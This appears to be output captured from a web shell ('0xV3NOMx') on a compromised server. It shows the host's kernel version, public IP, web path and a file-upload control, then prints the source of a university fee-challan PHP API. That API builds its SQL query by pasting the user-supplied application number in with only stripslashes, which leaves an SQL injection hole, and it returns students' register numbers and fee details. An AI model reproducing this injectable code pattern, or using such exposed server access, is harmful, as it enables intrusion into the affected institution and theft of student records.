0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.142.135.24


Current Path : /var/www/html/bcu/
Upload File :
Current File : /var/www/html/bcu/getAppDetAPI.php

<?php

	require('includes/dbconnect.php'); //include database connection
	$data_json = file_get_contents("php://input");
	$data = json_decode($data_json,true);
	
	if(!isset($data['appno']))
	{
		$statusCode = 0;
		$statusMessage = "Application number can not be empty. Please try again";
		
		$jsonLoginArray = array("statusCode" => $statusCode, "statusMessage" => $statusMessage);
		$returnString = json_encode($jsonLoginArray);
		print $returnString;
		exit;
	}

	if(!isset($data['regno']))
	{
		$statusCode = 0;
		$statusMessage = "Register Number can not be empty. Please try again";
		
		$jsonLoginArray = array("statusCode" => $statusCode, "statusMessage" => $statusMessage);
		$returnString = json_encode($jsonLoginArray);
		print $returnString;
		exit;
	}

	$appno = stripslashes($data['appno']);
	$regno = stripslashes($data['regno']);

	$studQuery = "SELECT fregno, appcandsum.fcollcode,ftotalfee, funivcode,appno,fapplastdate, fapplastdate,
	if(now()>fapplastdate = true,'T','F') as lastdate, ifnull(fackdate,'') as fackdate  
	FROM appcandsum, control  
	where APPNO='{$appno}'";

	$studResult =  $conn->query($studQuery);


	if(mysqli_num_rows($studResult) != 1)
	{
		$statusCode = -1;
		$statusMessage = "Invalid Challan Number.";
		
		$jsonLoginArray = array("statusCode" => $statusCode, "statusMessage" => $statusMessage);
		$returnString = json_encode($jsonLoginArray);
		print $returnString;
		exit;
	}
	else 
	{	

		$row1 = mysqli_fetch_array($studResult,MYSQLI_ASSOC);		

		if($row1['fackdate'] != '')
		{
			$statusCode = -1;
			$statusMessage = "Already paid. Please check";
			$jsonLoginArray = array("statusCode" => $statusCode, "statusMessage" => $statusMessage);
			$returnString = json_encode($jsonLoginArray);
			print $returnString;
			exit;
			return;
		}

		if($row1['fregno'] != $regno)
		{
			$statusCode = -1;
			$statusMessage = "Invalid Challan Register No.";
			$jsonLoginArray = array("statusCode" => $statusCode, "statusMessage" => $statusMessage);
			$returnString = json_encode($jsonLoginArray);
			print $returnString;
			exit;
			return;
		}


		if($row1['lastdate'] == 'T')
		{
			$statusCode = -2;
			$statusMessage = "Challan Expired";
			$jsonLoginArray = array("statusCode" => $statusCode, "statusMessage" => $statusMessage);
			$returnString = json_encode($jsonLoginArray);
			print $returnString;
			exit;
			return;	
		}

		$statusCode = 1;

		$returnArray = array(
		  "regno" => $row1['fregno'],       
		  "collcode" =>  $row1['fcollcode'],
		  "amount" =>  $row1['ftotalfee'],   
		  "univcode" =>  $row1['funivcode'],
		  "appno" =>  $row1['appno'],
		  "applastdate" =>  $row1['fapplastdate']

		);

		$jsonLoginArray = array("statusCode" => $statusCode, "statusMessage" => "Success", "appDet" => $returnArray);
		$returnString = json_encode($jsonLoginArray);
		print $returnString;

	}

?>